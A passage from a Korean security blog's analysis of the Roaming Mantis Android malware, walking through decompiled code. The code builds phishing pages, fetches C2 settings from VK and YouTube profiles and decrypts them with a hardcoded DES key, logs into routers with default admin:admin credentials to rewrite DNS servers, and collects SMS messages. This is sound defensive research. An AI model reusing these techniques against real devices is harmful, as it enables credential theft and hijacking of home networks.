src="/assets/2023-11-15-Android-malware-사마귀-해부학/8.png" alt="8.png" /></p> + +<p>아래는 S사의 포인트 앱 happy***** 의 저장 예시입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v9</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="s">"Happy*****:"</span><span class="o">);</span> <span class="c1">// 계정이 존재한다면, comment와 함께 저장</span> +</code></pre></div></div> + +<hr /> + +<p><strong>③ Phishing 창 생성 #1</strong></p> + +<p><code class="language-plaintext highlighter-rouge">com.Loader</code> Class에는 static으로 정의 된 HTML/javascript 코드들이 있습니다. 해당 코드를 정적으로 확인하면 아래와 같은 Phishing 페이지를 확인할 수 있습니다. 여러 나라를 대상으로 악성 행위를 수행하기 때문에, 사용자의 환경에 따라 언어를 출력하도록 되어있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/9.png" alt="9.png" /></p> + +<p>한국어에서 값을 가져와서 확인해보면, 아래 같은 페이지를 확인할 수 있습니다. 이 페이지는 <code class="language-plaintext highlighter-rouge">127.0.0.1:Random_port</code> 로 열리는 Web view Activity로, 사용자는 안전 인증 페이지로 오인하여 본인의 정보를 입력할 수 있습니다. 이 때 <code class="language-plaintext highlighter-rouge">%%ACCOUNT%%</code> 부분은 기기에 저장된 gmail 계정이 출력됩니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/10.png" alt="10.png" /></p> + +<p>전달 받은 값은 <code class="language-plaintext highlighter-rouge">127.0.0.1:port/submit</code> 으로 전달, Response 값을 <code class="language-plaintext highlighter-rouge">setMyInfo</code> method로 JSON-RPC 통신하게 됩니다. 즉 공격자에게 전달됩니다.</p> + +<ul> + <li>JSON-RPC는 원격 프로시저 호출을 위한 프로토콜입니다. 서버와 경량의 데이터 교환을 수행하는데, 이 때 JSON 형식을 사용합니다.</li> +</ul> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v8_1</span> <span class="o">=</span> <span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"name"</span><span class="p">);</span> +<span class="n">v8_2</span><span class="p">.</span><span class="n">append</span><span class="p">(((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"first_name"</span><span class="p">)));</span> +<span class="n">String</span> <span class="n">v0</span> <span class="o">=</span> <span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"middle_name"</span><span class="p">);</span> +<span class="n">v8_2</span><span class="p">.</span><span class="n">append</span><span class="p">(((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"last_name"</span><span class="p">)));</span> +<span class="n">String</span> <span class="n">v2_1</span> <span class="o">=</span> <span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"date"</span><span class="p">);</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx1"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx2"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx3"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">" "</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"xx4"</span><span class="p">));</span> +<span class="n">v2_1</span> <span class="o">=</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">"/"</span> <span class="o">+</span> <span class="p">((</span><span class="n">String</span><span class="p">)</span><span class="n">v7</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"ss1"</span><span class="p">));</span> + +<span class="c1">// 수집한 정보를 JSON-RPC로 전달, 웹 서버 종료</span> +<span class="n">String</span> <span class="n">v0_1</span> <span class="o">=</span> <span class="s">"JSON:"</span> <span class="o">+</span> <span class="n">new</span> <span class="nf">JSONObject</span><span class="p">(</span><span class="n">v7</span><span class="p">).</span><span class="n">toString</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> +<span class="n">this</span><span class="p">.</span><span class="n">c</span><span class="p">.</span><span class="n">g</span><span class="p">.</span><span class="n">f</span><span class="p">(</span><span class="s">"setMyInfo"</span><span class="p">,</span> <span class="n">new</span> <span class="n">String</span><span class="p">[]{</span><span class="n">v8_1</span><span class="p">,</span> <span class="n">v0_1</span><span class="p">}).</span><span class="n">f</span><span class="p">(</span><span class="n">new</span> <span class="n">Loader</span><span class="p">.</span><span class="n">t0</span><span class="p">.</span><span class="n">a</span><span class="p">(</span><span class="n">this</span><span class="p">,</span> <span class="n">v7</span><span class="p">),</span> <span class="n">Loader</span><span class="p">.</span><span class="n">t0</span><span class="p">.</span><span class="n">b</span><span class="p">.</span><span class="n">a</span><span class="p">);</span> +<span class="err">}</span> +</code></pre></div></div> + +<hr /> + +<p>④ <strong>Phishing 창 생성 #2</strong></p> + +<p>또 다른 Phishing 창의 예시를 살펴봅시다. 이 Phishing은 앱 이름이 <code class="language-plaintext highlighter-rouge">zc1</code>. <code class="language-plaintext highlighter-rouge">zc</code>. <code class="language-plaintext highlighter-rouge">scan</code> 일 경우 수행됩니다.</p> + +<p>사용자가 어떤 통신사를 사용하는 지에 따라, 그에 맞는 Phishing 페이지를 생성합니다. 아래는 일본의 통신사인 <code class="language-plaintext highlighter-rouge">domoco</code>를 사용 할 경우의 예시입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">else</span> <span class="k">if</span><span class="o">(</span><span class="n">l</span><span class="o">.</span><span class="na">j</span><span class="o">(</span><span class="n">v0_3</span><span class="o">,</span> <span class="s">"docomo"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">))</span> <span class="o">{</span> <span class="c1">// 1. domoco 통신사일 경우</span> + <span class="n">b</span> <span class="n">v0_6</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">h</span><span class="o">(</span><span class="s">"https://www.pinterest.com/catogreggex11/"</span><span class="o">);</span> + <span class="n">v7</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">v0_6</span><span class="o">.</span><span class="na">a</span><span class="o">();</span> + <span class="n">v0_5</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">v0_6</span><span class="o">.</span><span class="na">b</span><span class="o">();</span> <span class="c1">// 2. 위의 URL에서 info 정보 수집</span> + <span class="n">v1</span> <span class="o">=</span> <span class="n">i</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">v0_5</span><span class="o">,</span> <span class="s">""</span><span class="o">)</span> <span class="o">?</span> <span class="s">"【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。"</span> <span class="o">:</span> <span class="c1">// 3. 수집이 안 될 경우를 대비한 피싱 문구</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>v0_6를 보면, <code class="language-plaintext highlighter-rouge">https://www.pinterest.com/catogreggex11/</code>의 주소로 접근하려는 것을 볼 수 있습니다. Pinterest는 유명한 이미지 공유 사이트로, 피싱 사이트가 아닙니다. 해당 URL은 경로에 적힌 <code class="language-plaintext highlighter-rouge">catogreggex11</code> 계정의 프로필 페이지에 접근 하는 것으로, 한번 직접 접근해보도록 합시다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/11.png" alt="11.png" /></p> + +<p>info 문구를 보면 통신사에 맞는 Phshing 문구가 입력되어 있는 것을 확인할 수 있습니다. 위의 코드에서 v0_5는 이 info 문구를 parsing 하고, <code class="language-plaintext highlighter-rouge">----</code> 를 기점으로 각각 Notification의 문구와 Notification 클릭 시 open되는 WebView URL로 사용합니다.</p> + +<hr /> + +<p><strong>⑤ 공유기 장악 (DNS Hijacking)</strong></p> + +<p>Roaming Mantis의 가장 핵심이 되는 공유기 장악 기능을 분석해봅시다.</p> + +<p>모바일 환경에서는 대부분의 기기가 공유기(라우터)를 DHCP 서버로 두고 IP 및 DNS 주소를 할당 받는 방식을 사용하고 있습니다. 따라서 공격자는 DHCP Server의 IP 주소를 수집합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">v2</span> <span class="o">=</span> <span class="o">((</span><span class="nc">WifiManager</span><span class="o">)</span><span class="k">this</span><span class="o">.</span><span class="na">n</span><span class="o">.</span><span class="na">getApplicationContext</span><span class="o">().</span><span class="na">getSystemService</span><span class="o">(</span><span class="s">"wifi"</span><span class="o">)).</span><span class="na">getDhcpInfo</span><span class="o">().</span><span class="na">serverAddress</span><span class="o">;</span> +</code></pre></div></div> + +<p>하지만 DHCP 서버의 IP 주소를 알아봤자, 사설 IP의 주소일 가능성이 매우 크기 때문에 공격자는 직접 접근하기 어려울 것입니다. 내부에서 접근을 시도해야 하므로 공격자는 사용자의 기기로 접근합니다.</p> + +<p>공격자는 수집한 DHCP 서버의 IP 주소에 특정 TCP Port를 추가하여 로그인 페이지를 호출합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span><span class="o">[]</span> <span class="n">v5</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">int</span><span class="o">[]{</span><span class="mi">8080</span><span class="o">,</span> <span class="mi">8888</span><span class="o">,</span> <span class="mi">80</span><span class="o">,</span> <span class="mi">7777</span><span class="o">,</span> <span class="mi">8899</span><span class="o">};</span> +<span class="k">for</span><span class="o">(</span><span class="n">v9</span> <span class="o">=</span> <span class="s">"http://"</span> <span class="o">+</span> <span class="n">v2_1</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">v8</span> <span class="o">+</span> <span class="s">"/login/login.cgi"</span><span class="o">;</span> <span class="kc">true</span><span class="o">;</span> <span class="n">v9</span> <span class="o">=</span> <span class="n">v10_1</span><span class="o">.</span><span class="na">toString</span><span class="o">()){</span> + <span class="n">v9_1</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="na">b</span><span class="o">.</span><span class="na">d</span><span class="o">(</span><span class="n">v9</span><span class="o">,</span> <span class="kc">false</span><span class="o">);</span> +</code></pre></div></div> + +<p>코드를 보면, <code class="language-plaintext highlighter-rouge">8080</code>, <code class="language-plaintext highlighter-rouge">8888</code>, <code class="language-plaintext highlighter-rouge">80</code> 등 주로 웹 서비스에서 사용하는 포트들을 대상으로 하는 것을 볼 수 있습니다. 그렇게 획득한 주소에 <code class="language-plaintext highlighter-rouge">/login/login.cgi</code> 경로를 붙여 최종적으로 <code class="language-plaintext highlighter-rouge">http://{DHCP_SERVER}:{PORT}/login/login.cgi</code> 라는 URL을 완성합니다.</p> + +<p>아래는 실행 시 실제로 보내진 HTTP Request Dump입니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/12.png" alt="12.png" /></p> + +<p>URL의 경로에서 유추할 수 있듯, 공격자는 <strong>공유기 관리 페이지에 접근</strong>하여 실제 응답이 돌아오는 지 확인합니다. 그리고 만약 응답이 돌아온다면 저장하고, Refresh 혹은 Redirect 되는 Response가 온다면 해당 경로까지 접근하여 최종적인 Response를 받아옵니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Matcher</span> <span class="n">v10</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"http-equiv=\"?refresh\"? .+?URL=(.+?)\""</span><span class="o">,</span> <span class="mi">2</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v9_1</span><span class="o">);</span> + <span class="nc">Matcher</span> <span class="n">v10_2</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"&lt;script&gt;.+\\.location=\"(.+?)\";.*//session_timeout"</span><span class="o">,</span> <span class="mi">2</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v9_1</span><span class="o">.</span><span class="na">replace</span><span class="o">(</span><span class="s">" "</span><span class="o">,</span> <span class="s">""</span><span class="o">));</span> +</code></pre></div></div> + +<p>Response가 있다면 HTTP source code 에는 해당 DHCP 서버(공유기)의 정보가 있을 것입니다.</p> + +<p>아래는 공유기 모델에 따라 HTTP 페이지에 적혀 있는 값입니다. 만약 일치하는 패턴이 있다면 <strong>공유기의 모델이 어떤 것인지 유추할 수 있습니다.</strong> 공격자는 이 패턴과 숫자를 매칭하여 저장합니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/13.png" alt="13.png" /></p> + +<p>어떤 번호에 매칭되었느냐에 따라 다양한 method들이 호출되는데, 여기서 1번 i사의 공유기에 매칭 되었다고 가정해봅시다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span><span class="o">(</span><span class="n">v2</span> <span class="o">==</span> <span class="mi">1</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="n">v1</span><span class="o">.</span><span class="na">a</span><span class="o">);</span> + <span class="k">return</span><span class="o">;</span> + <span class="o">}</span> + +<span class="k">if</span><span class="o">(</span><span class="n">v2</span> <span class="o">==</span> <span class="mi">2</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">a</span><span class="o">.</span><span class="na">k</span><span class="o">(</span><span class="n">v1</span><span class="o">.</span><span class="na">a</span><span class="o">);</span> + <span class="k">return</span><span class="o">;</span> + <span class="o">}</span> +<span class="o">...</span> +</code></pre></div></div> + +<p>매칭된 숫자에 따라 실행되는 method들이 달라집니다. 1번에 매칭되었으니 <code class="language-plaintext highlighter-rouge">a.e</code> method로 이동해봅시다.</p> + +<p>매칭된 i사의 공유기의 Default Credential과 token 검증 방식으로 인증을 수행하기 위해 Request Header 생성, 이를 Default URL로 전달하고 있습니다. 각 공유기마다 Header의 조합과 URL 주소가 다르며, 일반적인 공유기 사용자가 관리 페이지의 Credential을 바꾸는 일은 흔치 않기 때문에 공격자는 쉽게 관리자로 로그인 할 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">e</span><span class="o">(</span><span class="nc">String</span> <span class="n">arg14</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">String</span><span class="o">[]</span> <span class="n">v1</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[</span><span class="mi">2</span><span class="o">];</span> + <span class="kt">int</span> <span class="n">v2</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> + <span class="n">v1</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span> <span class="o">=</span> <span class="s">"Authorization"</span><span class="o">;</span> + <span class="n">v1</span><span class="o">[</span><span class="mi">1</span><span class="o">]</span> <span class="o">=</span> <span class="s">"Basic "</span> <span class="o">+</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">encodeToString</span><span class="o">(</span><span class="s">"admin:admin"</span><span class="o">.</span><span class="na">getBytes</span><span class="o">(),</span> <span class="mi">0</span><span class="o">);</span> + <span class="n">a</span><span class="o">.</span><span class="na">b</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="n">arg14</span> <span class="o">+</span> <span class="s">"/cgi-bin/timepro.cgi?tmenu=main_frame&amp;smenu=main_frame"</span><span class="o">,</span> <span class="n">v1</span><span class="o">);</span> + <span class="nc">String</span> <span class="n">v4</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="na">b</span><span class="o">.</span><span class="na">e</span><span class="o">(</span><span class="n">arg14</span> <span class="o">+</span> <span class="s">"/cgi-bin/timepro.cgi?tmenu=netconf&amp;smenu=wansetup"</span><span class="o">,</span> <span class="n">v1</span><span class="o">);</span> + <span class="nc">ArrayList</span> <span class="n">v7</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayList</span><span class="o">();</span> + <span class="kt">int</span> <span class="n">v8</span><span class="o">;</span> + <span class="k">for</span><span class="o">(</span><span class="n">v8</span> <span class="o">=</span> <span class="mi">1</span><span class="o">;</span> <span class="n">v8</span> <span class="o">&lt;=</span> <span class="mi">4</span><span class="o">;</span> <span class="o">++</span><span class="n">v8</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">Matcher</span> <span class="n">v9</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"id=\"disabled_dynamicip"</span> <span class="o">+</span> <span class="n">v8</span> <span class="o">+</span> <span class="s">".*?value=\"(.*?)\""</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v4</span><span class="o">);</span> + <span class="k">if</span><span class="o">(</span><span class="n">v9</span><span class="o">.</span><span class="na">find</span><span class="o">())</span> <span class="o">{</span> + <span class="n">v7</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">v9</span><span class="o">.</span><span class="na">group</span><span class="o">(</span><span class="mi">1</span><span class="o">));</span> + <span class="o">}</span> + <span class="o">}</span> + +</code></pre></div></div> + +<p>그리고 마지막 부분에 <strong>DNS 서버를 변경하려는 Request를 생성하는데</strong>, 해당 DNS 서버의 주소는 C2 서버에 값이 저장되어 있습니다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// DNS 서버를 변경하는 Request 생성</span> +<span class="c1">// v3의 값은 C2 서버에서 파싱</span> +<span class="n">a</span><span class="p">.</span><span class="n">b</span><span class="p">.</span><span class="n">f</span><span class="p">(</span><span class="n">arg14</span> <span class="o">+</span> <span class="s">"/cgi-bin/timepro.cgi"</span><span class="p">,</span> <span class="n">v1</span><span class="p">,</span> <span class="s">"tmenu=iframe&amp;smenu=hiddenwansetup&amp;act=save&amp;ocolor=&amp;wan=wan1&amp;ifname=eth1&amp;nopassword=0&amp;wan_type=dynamic&amp;allow_private=on&amp;fdns_dynamic1="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;fdns_dynamic2="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;fdns_dynamic3="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;fdns_dynamic4="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">c</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic1="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic2="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic3="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;sdns_dynamic4="</span> <span class="o">+</span> <span class="n">v3</span><span class="p">.</span><span class="n">d</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">+</span> <span class="s">"&amp;dns_dynamic_chk=on"</span><span class="p">.</span><span class="n">getBytes</span><span class="p">());</span> +</code></pre></div></div> + +<p>이렇게 외부 서비스에 저장한 정보를 파싱해 올 수 있습니다. 사진에서는 활동 란에 적힌 부분이 바꾸고자 하는 동적 DNS 서버의 주소입니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/1.png" alt="1.png" /></p> + +<hr /> + +<p>⑥ <strong>C2 서버 - 공격자 서버 정보 파싱</strong></p> + +<p>바로 이전 섹션에서 타 서비스의 웹 사이트(C2 서버)에서 문구들을 수집하는 것을 보았습니다. 마찬가지로 공격자의 서버 정보도 C2 서버에 있습니다. 그렇다면 공격자 서버 정보를 찾아봅시다.</p> + +<p>아래의 문자열은 외부 서비스와 많은 연관이 있는 것으로 추정되는 문자열입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">this</span><span class="o">.</span><span class="na">n</span> <span class="o">=</span> <span class="s">"chrome|UCP5sKzxDLR5yhO1IB4EqeEg@youtube|id728589530@vk|1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA@GoogleDoc2"</span><span class="o">;</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">현재 피싱 앱으로 사용하는 이름|youtube계정|vk계정|GoogleDoc계정</code> 의 정보를 담고 있으며, 이 앱은 <code class="language-plaintext highlighter-rouge">covid</code>등 다양한 이름으로 배포되고 있었습니다. 따라서 현재 사용하는 앱 이름에 맞는 정보를 파싱하도록 동작하고 있습니다.</p> + +<p>우선 vk(<code class="language-plaintext highlighter-rouge">id728589530@vk</code>) 계정이 어디서 사용되는지 확인해봅시다. 앱 이름이 <code class="language-plaintext highlighter-rouge">debug</code>가 아닐 경우에 수행되며, 최종적으로 <code class="language-plaintext highlighter-rouge">id729071494</code> 계정의 info페이지에 접근하게 됩니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. info 페이지 접근</span> +<span class="nc">String</span> <span class="n">v3</span> <span class="o">=</span> <span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"https://m.vk.com/%s?act=info"</span><span class="o">,</span> <span class="nc">Arrays</span><span class="o">.</span><span class="na">copyOf</span><span class="o">(</span><span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span><span class="n">arg3</span><span class="o">},</span> <span class="mi">1</span><span class="o">));</span> + +<span class="c1">// 2. noopener 태그 사이의 문자열 매칭</span> + <span class="nc">Matcher</span> <span class="n">v3_3</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"noopener\"&gt;(.+?)&lt;/a&gt;"</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v3_2</span><span class="o">);</span> +</code></pre></div></div> + +<p>페이지의 HTTP Code 중 <code class="language-plaintext highlighter-rouge">noopener</code> 태그 이후의 문자열을 확인하면 아래와 같이 공격자 서버를 확인할 수 있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/14.png" alt="14.png" /></p> + +<p>이 서버는 결론적으로 DHCP서버의 Captcha 인증 중 Captcha 이미지를 보내는 서버입니다. 자세한 분석은 분량 상 생략하겠습니다.</p> + +<p>다른 정보들은 어디에 쓰이는지 확인해봅시다.</p> + +<p>아래는 기기의 환경이 한국일 경우 실행되는 코드로, 위의 계정 정보들 중 youtube(<code class="language-plaintext highlighter-rouge">UCP5sKzxDLR5yhO1IB4EqeEg@youtube</code>)계정 문자열을 파싱합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// UCP5sKzxDLR5yhO1IB4EqeEg@youtube 문자열 파싱</span> +<span class="nc">String</span> <span class="n">v7</span> <span class="o">=</span> <span class="nc">Loader</span><span class="o">.</span><span class="na">access</span><span class="n">$getPreferences$p</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">b</span><span class="o">).</span><span class="na">getString</span><span class="o">(</span><span class="s">"account"</span><span class="o">,</span> <span class="o">((</span><span class="nc">String</span><span class="o">)</span><span class="n">v2</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">v8</span><span class="o">)));</span> +</code></pre></div></div> + +<p>마찬가지로 해당 계정의 about 페이지에 접근한 후, <code class="language-plaintext highlighter-rouge">oeewe</code> 사이의 문자열을 파싱합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. about 페이지 접근</span> +<span class="nc">String</span> <span class="n">v3</span> <span class="o">=</span> <span class="nc">String</span><span class="o">.</span><span class="na">format</span><span class="o">(</span><span class="s">"https://m.youtube.com/channel/%s/about"</span><span class="o">,</span> <span class="nc">Arrays</span><span class="o">.</span><span class="na">copyOf</span><span class="o">(</span><span class="k">new</span> <span class="nc">Object</span><span class="o">[]{</span><span class="n">arg3</span><span class="o">},</span> <span class="mi">1</span><span class="o">));</span> + +<span class="c1">// 2. oeewe 사이의 문자열 매칭</span> +<span class="nc">Matcher</span> <span class="n">v3_3</span> <span class="o">=</span> <span class="nc">Pattern</span><span class="o">.</span><span class="na">compile</span><span class="o">(</span><span class="s">"oeewe([\\w_-]+?)oeewe"</span><span class="o">).</span><span class="na">matcher</span><span class="o">(</span><span class="n">v3_2</span><span class="o">);</span> +</code></pre></div></div> + +<p>접근하면 아래와 같이 <code class="language-plaintext highlighter-rouge">oeewe … oeewe</code> 문자열을 설명란에서 볼 수 있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/15.png" alt="15.png" /></p> + +<p>해당 문자열은 DES(CBC) 복호화 과정을 거칩니다. 다행히 Key와 IV가 하드코딩 되어있어, 쉽게 복호화 할 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. Base64 Decoding</span> +<span class="kt">byte</span><span class="o">[]</span> <span class="n">v2</span> <span class="o">=</span> <span class="nc">Base64</span><span class="o">.</span><span class="na">decode</span><span class="o">(</span><span class="n">arg2</span><span class="o">,</span> <span class="mi">8</span><span class="o">);</span> + +<span class="c1">// 2. Key, IV 하드코딩(같은 값)</span> +<span class="k">return</span> <span class="k">new</span> <span class="nf">String</span><span class="o">(</span><span class="n">r</span><span class="o">.</span><span class="na">b</span><span class="o">(</span><span class="n">v2</span><span class="o">,</span> <span class="s">"Ab5d1Q32"</span><span class="o">),</span> <span class="n">d</span><span class="o">.</span><span class="na">a</span><span class="o">);</span> +</code></pre></div></div> + +<p>복호화를 진행하면 아래와 같이 공격자의 서버 주소를 확인할 수 있습니다. 이 주소는 파싱 후 <code class="language-plaintext highlighter-rouge">ws://</code> 가 앞에 붙게 되므로 웹 소켓 주소로 사용되는 것을 추측할 수 있습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/16.png" alt="16.png" /></p> + +<hr /> + +<p>⑦ <strong>SMS관련</strong></p> + +<p>아래는 기기가 기본 SMS 앱을 사용하는지 체크하는 부분입니다. 만약 기본 SMS앱을 악성 앱으로 바꾼다면, SMS 인증 우회는 물론이고, 메시지 내용 탈취, 발신, 수신이 자유로울 것입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v9_1</span><span class="o">[</span><span class="mi">5</span><span class="o">]</span> <span class="o">=</span> <span class="nc">Boolean</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">i</span><span class="o">.</span><span class="na">a</span><span class="o">(</span><span class="n">v5_6</span><span class="o">,</span> <span class="nc">Telephony</span><span class="o">.</span><span class="na">Sms</span><span class="o">.</span><span class="na">getDefaultSmsPackage</span><span class="o">(</span><span class="n">v7_4</span><span class="o">)));</span> +</code></pre></div></div> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/17.png" alt="17.png" /></p> + +<p>공격자는 SMS 메시지가 수신될 때, 발신자의 주소와 timestamp, 그리고 메시지내용을 HashMap으로 저장하며 수집합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. 수신된 메시지들 수집</span> +<span class="n">v0_6</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Object</span><span class="o">[])</span><span class="n">arg27</span><span class="o">.</span><span class="na">getExtras</span><span class="o">().</span><span class="na">get</span><span class="o">(</span><span class="s">"pdus"</span><span class="o">);</span> +<span class="n">v12</span> <span class="o">=</span> <span class="n">v0_6</span><span class="o">[</span><span class="n">v10</span><span class="o">];</span> + +<span class="c1">// 2. 수신된 메시지를 기반으로 새로운 SMS 데이터 생성</span> +<span class="nc">SmsMessage</span> <span class="n">v12_1</span> <span class="o">=</span> <span class="nc">SmsMessage</span><span class="o">.</span><span class="na">createFromPdu</span><span class="o">(((</span><span class="kt">byte</span><span class="o">[])</span><span class="n">v12</span><span class="o">));</span> + +<span class="c1">// 3. 수신된 메시지의 내용 수집</span> +<span class="nc">String</span> <span 